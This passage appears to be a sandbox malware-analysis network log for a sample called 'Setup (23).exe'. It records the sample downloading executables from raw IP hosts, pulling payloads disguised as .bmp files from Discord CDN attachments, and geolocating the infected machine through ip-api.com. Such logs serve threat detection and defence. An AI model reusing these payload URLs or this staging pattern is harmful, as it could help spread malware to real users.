User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: 37.0.10.214
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:27 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Tue, 31 Aug 2021 17:35:51 GMT
ETag: "9b800-5cade618e7d0d"
Accept-Ranges: bytes
Content-Length: 636928
Content-Type: application/x-msdos-program
GET

http://37.0.10.214/WW/file1.exe

Setup (23).exe

Remote address:

37.0.10.214:80

Request

GET /WW/file1.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: 37.0.10.214
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:27 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Tue, 31 Aug 2021 17:35:39 GMT
ETag: "d0111-5cade60cade4b"
Accept-Ranges: bytes
Content-Length: 852241
Content-Type: application/x-msdos-program
GET

http://37.0.10.214/WW/file3.exe

Setup (23).exe

Remote address:

37.0.10.214:80

Request

GET /WW/file3.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: 37.0.10.214
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:27 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Tue, 31 Aug 2021 15:58:33 GMT
ETag: "42f7f0-5cadd058fb6ba"
Accept-Ranges: bytes
Content-Length: 4388848
Content-Type: application/x-msdos-program
GET

http://37.0.10.214/WW/file4.exe

Setup (23).exe

Remote address:

37.0.10.214:80

Request

GET /WW/file4.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: 37.0.10.214
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:29 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Sun, 29 Aug 2021 20:05:55 GMT
ETag: "42c3a0-5cab83e89d9c3"
Accept-Ranges: bytes
Content-Length: 4375456
Content-Type: application/x-msdos-program
HEAD

http://194.145.227.159/pub.php?pub=azed

Setup (23).exe

Remote address:

194.145.227.159:80

Request

HEAD /pub.php?pub=azed HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: 194.145.227.159
Content-Length: 0
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx/1.20.1
Date: Tue, 31 Aug 2021 19:53:27 GMT
Content-Type: application/octet-stream
Connection: keep-alive
X-Powered-By: PHP/5.4.16
Content-Description: File Transfer
Content-Disposition: attachment; filename=setup.exe
Content-Transfer-Encoding: binary
GET

http://194.145.227.159/pub.php?pub=azed

Setup (23).exe

Remote address:

194.145.227.159:80

Request

GET /pub.php?pub=azed HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: 194.145.227.159
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx/1.20.1
Date: Tue, 31 Aug 2021 19:53:27 GMT
Content-Type: application/octet-stream
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16
Content-Description: File Transfer
Content-Disposition: attachment; filename=setup.exe
Content-Transfer-Encoding: binary
GET

https://cdn.discordapp.com/attachments/882087629896691744/882088175374323812/E_Service.bmp

Setup (23).exe

Remote address:

162.159.129.233:443

Request

GET /attachments/882087629896691744/882088175374323812/E_Service.bmp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: cdn.discordapp.com
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:36 GMT
Content-Type: image/x-ms-bmp
Content-Length: 401412
Connection: keep-alive
CF-Ray: 6878ce5129d4c76d-AMS
Accept-Ranges: bytes
Age: 62635
Cache-Control: public, max-age=31536000
Content-Disposition: attachment;%20filename=E_Service.bmp
ETag: "39d8147d2a537f27d20c9a981b163754"
Expires: Wed, 31 Aug 2022 19:53:36 GMT
Last-Modified: Tue, 31 Aug 2021 02:23:29 GMT
Vary: Accept-Encoding
CF-Cache-Status: HIT
Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-goog-generation: 1630376609463035
x-goog-hash: crc32c=f4q1JQ==
x-goog-hash: md5=OdgUfSpTfyfSDJqYGxY3VA==
x-goog-metageneration: 1
x-goog-storage-class: STANDARD
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 401412
X-GUploader-UploadID: ADPycduYQoPxne8xlTox9qfDSy1K9eu8K86lhGKQaJTb4VCtDNPVt--jp9L4UKGv3OCYNF2oU1hywezD_ldZadUWCPz-JciG_A
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Cf2cicvQVgqpECWQrCYrvhNbBOemZd7yNDJ6aUw2Tq4AXMBotfqW6akG7kovWgOBrXJszUNKchH8pK3L9OMOY4sVnM2c0P4qSRRGbceswrACrvCLlVCWv8T%2BNc4x6Gg97WA1Iw%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
GET

https://cdn.discordapp.com/attachments/879433223103459409/879437109990158406/setup.exe

Setup (23).exe

Remote address:

162.159.129.233:443

Request

GET /attachments/879433223103459409/879437109990158406/setup.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: cdn.discordapp.com
Cache-Control: no-cache

Response

HTTP/1.1 403 Forbidden

Date: Tue, 31 Aug 2021 19:53:36 GMT
Content-Type: application/xml; charset=UTF-8
Content-Length: 223
Connection: keep-alive
CF-Ray: 6878ce515e8e009b-AMS
Cache-Control: private, max-age=0
Expires: Tue, 31 Aug 2021 19:53:36 GMT
Vary: Accept-Encoding
CF-Cache-Status: MISS
Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-GUploader-UploadID: ADPycduP-nU0DCLu7_CZQh5u6zYlYRdxPpVbW_dq7l3ghTM_DK-021HEYuJoLDoQHXfNWx3Q7rpPnL2ImJ01_lAPM0sBG5TSMg
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5SijQZsFT33TXxu39wxpyaoZZj0t%2BObErlAG%2Bpj%2BgRdY60YjgH1BPK20PNKyQ8LpVLMYeUbbBDmQEl63W6mmWw1V%2F65Pi4c4viYf1ufP8sCf3egMW%2FtxPTnEHifr7ADOZecdfA%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
GET

https://cdn.discordapp.com/attachments/882087629896691744/882088583136169984/app30_1.bmp

Setup (23).exe

Remote address:

162.159.129.233:443

Request

GET /attachments/882087629896691744/882088583136169984/app30_1.bmp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: cdn.discordapp.com
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:36 GMT
Content-Type: image/x-ms-bmp
Content-Length: 4618280
Connection: keep-alive
CF-Ray: 6878ce52af521f95-AMS
Accept-Ranges: bytes
Age: 62626
Cache-Control: public, max-age=31536000
Content-Disposition: attachment;%20filename=app30_1.bmp
ETag: "5a4c34199b7d24536a4c6f50750ba670"
Expires: Wed, 31 Aug 2022 19:53:36 GMT
Last-Modified: Tue, 31 Aug 2021 02:25:06 GMT
Vary: Accept-Encoding
CF-Cache-Status: HIT
Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-goog-generation: 1630376706777947
x-goog-hash: crc32c=PPx/dw==
x-goog-hash: md5=Wkw0GZt9JFNqTG9QdQumcA==
x-goog-metageneration: 1
x-goog-storage-class: STANDARD
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 4618280
X-GUploader-UploadID: ADPycdumYV_v7rkR5dTABD_Hz-bogNPaoj9WJnD_RwrVrl5Kh84XqRksfj59UTdJBlG_CbAfGZ7kd5bW6hlchp_S4KCFtgVNNw
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=OryRJi3Ys%2FjkG4X%2FH46vneojqZHR1UYucqpawsGngP%2B2UCsHCDK9RYVdqwQQgNDyXSx7VTSVXRuAxZhmaF%2BnaAbS%2BpeFDqmec%2FRNHK9%2Bv4LTcdwn%2FM1vKVHn811o9iHxUrODLg%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
GET

https://cdn.discordapp.com/attachments/882087629896691744/882089686275850330/help29.bmp

Setup (23).exe

Remote address:

162.159.129.233:443

Request

GET /attachments/882087629896691744/882089686275850330/help29.bmp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: cdn.discordapp.com
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:36 GMT
Content-Type: image/x-ms-bmp
Content-Length: 216576
Connection: keep-alive
CF-Ray: 6878ce52ab5d417e-AMS
Accept-Ranges: bytes
Age: 62448
Cache-Control: public, max-age=31536000
Content-Disposition: attachment;%20filename=help29.bmp
ETag: "8ba1af598fde5a9bcbddf4b1f74aa12e"
Expires: Wed, 31 Aug 2022 19:53:36 GMT
Last-Modified: Tue, 31 Aug 2021 02:29:29 GMT
Vary: Accept-Encoding
CF-Cache-Status: HIT
Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-goog-generation: 1630376969700116
x-goog-hash: crc32c=/2n+SQ==
x-goog-hash: md5=i6GvWY/eWpvL3fSx90qhLg==
x-goog-metageneration: 1
x-goog-storage-class: STANDARD
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 216576
X-GUploader-UploadID: ADPycdtnqGFtrykEZBkWXBgA-IMmxuzBt2-gH1SBU_hKJayuQwve-PaU-Ny8Y_SwjCjFCdGnix4iMPhyPJbrjprBwe0
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=fhRdgoWHNtQKH7Z%2BsxVHEK1qBO1%2BMTLKWwHQ734mhZtOY3ilNG3p2ktuKXYR71zcI0HKl2t6LZjVNVrHHiqNFqSmdSaN1jSko3O0if0%2FooFH2USq7G5FhnKgExobziWNpDJaOw%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
GET

https://cdn.discordapp.com/attachments/882087629896691744/882088777659580476/Eyebrows.bmp

Setup (23).exe

Remote address:

162.159.129.233:443

Request

GET /attachments/882087629896691744/882088777659580476/Eyebrows.bmp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: cdn.discordapp.com
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:36 GMT
Content-Type: image/x-ms-bmp
Content-Length: 1233920
Connection: keep-alive
CF-Ray: 6878ce545d224c55-AMS
Accept-Ranges: bytes
Age: 62637
Cache-Control: public, max-age=31536000
Content-Disposition: attachment;%20filename=Eyebrows.bmp
ETag: "e20eadf0f3063e0a73ca8569cd7c3c1b"
Expires: Wed, 31 Aug 2022 19:53:36 GMT
Last-Modified: Tue, 31 Aug 2021 02:25:53 GMT
Vary: Accept-Encoding
CF-Cache-Status: HIT
Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-goog-generation: 1630376753067200
x-goog-hash: crc32c=a0BDEA==
x-goog-hash: md5=4g6t8PMGPgpzyoVpzXw8Gw==
x-goog-metageneration: 1
x-goog-storage-class: STANDARD
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 1233920
X-GUploader-UploadID: ADPycdu-32sU6pV7DP7j1Zvs2fjrxyC3KN4eVhEoY7GxH2tw4W0vxTJRwJ4gbRPmIxTHNWlqqT0TjhcvqHCkh69rMLL2y5irQw
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=rJfX6CvF0kqp1%2B6wdtwvA6hN%2F%2F13FVPILTct6qJTa57a%2F9hdMcziBtkg9MEfj%2BURuOSKKB05SXWIK6KgJfHhMgPoiXD0pi95O3lSHPVp52dcB2nXsaB1RLbp8dVPeXb1mbZQpA%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
GET

https://cdn.discordapp.com/attachments/882087629896691744/882239744896016424/Passat31_1.bmp

Setup (23).exe

Remote address:

162.159.129.233:443

Request

GET /attachments/882087629896691744/882239744896016424/Passat31_1.bmp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: cdn.discordapp.com
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:37 GMT
Content-Type: image/x-ms-bmp
Content-Length: 3062536
Connection: keep-alive
CF-Ray: 6878ce590fcf00d1-AMS
Accept-Ranges: bytes
Age: 26808
Cache-Control: public, max-age=31536000
Content-Disposition: attachment;%20filename=Passat31_1.bmp
ETag: "65095538e04fe30b582bd0887ba26e68"
Expires: Wed, 31 Aug 2022 19:53:37 GMT
Last-Modified: Tue, 31 Aug 2021 12:25:46 GMT
Vary: Accept-Encoding
CF-Cache-Status: HIT
Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-goog-generation: 1630412746514955
x-goog-hash: crc32c=nLOWyA==
x-goog-hash: md5=ZQlVOOBP4wtYK9CIe6JuaA==
x-goog-metageneration: 1
x-goog-storage-class: STANDARD
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 3062536
X-GUploader-UploadID: ADPycduB6lvVjqTUslmnLqRUhmTAKXODmz2K1ncPEO_LvdGKfN58F5WM57Lwx9oNJs9Wrt78e-ej4aYTgSx4w11Sizs
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=YFACOzGGQWYlcwywelehU9pnzg6LIaUxCVpOVxhzWDbB%2FGTczW2Snh2G8H0byeTNiSth0TXFnKnJp1Jqubc0hZKdM8MD7D%2BlPHBUupLSA32%2BjzpoDpXSfYI%2FSNyHJtoEIqO1NA%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
GET

https://cdn.discordapp.com/attachments/882087629896691744/882090077214343208/sfx_123_201.bmp

Setup (23).exe

Remote address:

162.159.129.233:443

Request

GET /attachments/882087629896691744/882090077214343208/sfx_123_201.bmp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: cdn.discordapp.com
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:37 GMT
Content-Type: image/x-ms-bmp
Content-Length: 1287961
Connection: keep-alive
CF-Ray: 6878ce59281b4c9e-AMS
Accept-Ranges: bytes
Age: 62428
Cache-Control: public, max-age=31536000
Content-Disposition: attachment;%20filename=sfx_123_201.bmp
ETag: "6c77dec5a89f8c6bd57e53cfc2a8c828"
Expires: Wed, 31 Aug 2022 19:53:37 GMT
Last-Modified: Tue, 31 Aug 2021 02:31:02 GMT
Vary: Accept-Encoding
CF-Cache-Status: HIT
Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-goog-generation: 1630377062911421
x-goog-hash: crc32c=pB/e7A==
x-goog-hash: md5=bHfexaifjGvVflPPwqjIKA==
x-goog-metageneration: 1
x-goog-storage-class: STANDARD
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 1287961
X-GUploader-UploadID: ADPycdvTW2OsEU0Tm04S6VfipqcbLiQ5e0HtUaDNdOjOgoJtX_x-IjtG7Hm0l6H_X4kFKn-H4TuXm8BEoXOCB1wQkiwazOAMDQ
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=eee3%2FCGxJIBSxtTc6sSxAIRMNCu5LWZ0Y5RrBXlJEqIkvjXwiOJmkfhto0QFmqh59WUtF8mX3sl2u2P1bRKARmEO4kxK26g2SlihVp8uyta0qEzpFlc5ZxIezpMz316PupIZDw%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
GET

https://cdn.discordapp.com/attachments/882087629896691744/882234359313223680/Rr31_1.bmp

Setup (23).exe

Remote address:

162.159.129.233:443

Request

GET /attachments/882087629896691744/882234359313223680/Rr31_1.bmp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: cdn.discordapp.com
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:47 GMT
Content-Type: image/x-ms-bmp
Content-Length: 635904
Connection: keep-alive
CF-Ray: 6878ce9648454be2-AMS
Accept-Ranges: bytes
Age: 27999
Cache-Control: public, max-age=31536000
Content-Disposition: attachment;%20filename=Rr31_1.bmp
ETag: "28e6fd19fb59d9f0f66dc9646eb84b70"
Expires: Wed, 31 Aug 2022 19:53:47 GMT
Last-Modified: Tue, 31 Aug 2021 12:04:22 GMT
Vary: Accept-Encoding
CF-Cache-Status: HIT
Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-goog-generation: 1630411462452310
x-goog-hash: crc32c=k+xE1Q==
x-goog-hash: md5=KOb9GftZ2fD2bclkbrhLcA==
x-goog-metageneration: 1
x-goog-storage-class: STANDARD
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 635904
X-GUploader-UploadID: ADPycdtIr0UlHsZhBQh52rxTraG9PhNjeYSp9t6cRVtC9u4E2JjNFxXyY9b33n_qjSJ4ExwtYUU77s8AhbHPpt-s6hlHgLdnPA
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=fg4Aaz8SG%2FZMsLW7JQGutlLUzAcvh%2Fk0IUT3W70GgvcuUeQemPb3qnaWskbfgJn4u9vlrIvStrZd3Uixu8z%2FGY6mM0%2BE%2BERNqjC5kPi0eZugk6fHteopnOFb7J%2BJphNg6STtBw%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
GET

https://cdn.discordapp.com/attachments/870454586861846551/870548989903274054/jooyu.exe

Setup (23).exe

Remote address:

162.159.129.233:443

Request

GET /attachments/870454586861846551/870548989903274054/jooyu.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: cdn.discordapp.com
Cache-Control: no-cache
DNS

ip-api.com

cutm3.exe

Remote address:

8.8.8.8:53

Request

ip-api.com

IN A

Response

ip-api.com

IN A

208.95.112.1
GET

https://cdn.discordapp.com/attachments/879982249968304149/879992032691638272/inst1.exe

Remote address:

162.159.129.233:443

Request

GET /attachments/879982249968304149/879992032691638272/inst1.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: cdn.discordapp.com
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:54:00 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DgjY3q89G5J%2FtDdj0LHP%2B5K2zJxG1kBgxOkKG2mYdz1dN0%2FtY0ShapTWNBqjhIEY9vlQDX5g1j5DdgWQ4ag1XfjyEUCCpesf8XZMWxflPwSRjJyF67poH9JQVYcpD5zO%2B%2BtnWA%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 6878cee5fb0a5989-AMS
alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
GET

https://aa.goatgamea.com/userdow/2201/anyname.exe

Remote address:

172.67.221.12:443

Request

GET /userdow/2201/anyname.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: aa.goatgamea.com
Cache-Control: no-cache

Response

HTTP/1.1 302 Found

Date: Tue, 31 Aug 2021 19:54:00 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
location: https://bb.goatgameb.com/userdow/2201/8ced8ed27ddcfcebf67a63d2aadc075e.exe
CF-Cache-Status: BYPASS
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CaTapZFoL5Rn4bmVHM1FKRX183UG0E5f6JRnbPNpsju21DtSlB5wSaoXvq9zo5lUP9GgG4k4Nr5YwFxBPtGoAqBOVuOb9M2uBKm74SoehlyFyCKtp9PWFCQ0nzcUseazyRSA"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 6878cee5fa150bcd-AMS
alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
GET

http://ip-api.com/json/

VvsmuBzVkF4TxH02dDqTO4Jh.exe

Remote address:

208.95.112.1:80

Request

GET /json/ HTTP/1.1
Connection: Keep-Alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
viewport-width: 1920
Host: ip-api.com

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:53:54 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 323
Access-Control-Allow-Origin: *
X-Ttl: 25
X-Rl: 35
GET

https://cdn.discordapp.com/attachments/882087629896691744/882239735018455100/Real31_1.bmp

Remote address:

162.159.129.233:443

Request

GET /attachments/882087629896691744/882239735018455100/Real31_1.bmp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: cdn.discordapp.com
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:54:00 GMT
Content-Type: image/x-ms-bmp
Content-Length: 743936
Connection: keep-alive
CF-Ray: 6878cee63ef71eeb-AMS
Accept-Ranges: bytes
Age: 26829
Cache-Control: public, max-age=31536000
Content-Disposition: attachment;%20filename=Real31_1.bmp
ETag: "6f669473e484295711b3172395d10113"
Expires: Wed, 31 Aug 2022 19:54:00 GMT
Last-Modified: Tue, 31 Aug 2021 12:25:44 GMT
Vary: Accept-Encoding
CF-Cache-Status: HIT
Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-goog-generation: 1630412744093206
x-goog-hash: crc32c=ZQuk3Q==
x-goog-hash: md5=b2aUc+SEKVcRsxcjldEBEw==
x-goog-metageneration: 1
x-goog-storage-class: STANDARD
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 743936
X-GUploader-UploadID: ADPycdtQDIrOx3-sYeMNZiBkw_V_VO29qvTYVID2ixlwG4kEcMyRyiY2LD2-TnZEKgkHSYSLF1vrdBPIVWh0cMThf1I
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=15LktdcYgOJJ14Vu7xjHN9idG7gW7BgVzMjMgor%2Bmkqd%2BfvF0arK1IKPuQ%2F5HOVM8WkDIu958gcCMJwS72gluzOqQ7g3cV0qUv3pQPOdC05skxkKYYC06YooK1cbm9kpwRsXVg%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
GET

https://cdn.discordapp.com/attachments/882087629896691744/882245175831846962/rus.bmp

Remote address:

162.159.129.233:443

Request

GET /attachments/882087629896691744/882245175831846962/rus.bmp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Host: cdn.discordapp.com
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Tue, 31 Aug 2021 19:54:00 GMT
Content-Type: image/x-ms-bmp
Content-Length: 1552896
Connection: keep-alive
CF-Ray: 6878cee64ebe00da-AMS
Accept-Ranges: bytes
Age: 25404
Cache-Control: public, max-age=31536000
Content-Disposition: attachment;%20filename=rus.bmp
ETag: "d0639ca3f3c7f2e1e7e9a87b413aaa27"
Expires: Wed, 31 Aug 2022 19:54:00 GMT
Last-Modified: Tue, 31 Aug 2021 12:47:21 GMT
Vary: Accept-Encoding
CF-Cache-Status: HIT
Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-goog-generation: 1630414041307924
x-goog-hash: crc32c=UashnQ==
x-goog-hash: md5=0GOco/PH8uHn6ah7QTqqJw==
x-goog-metageneration: 1
x-goog-storage-class: STANDARD
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 1552896
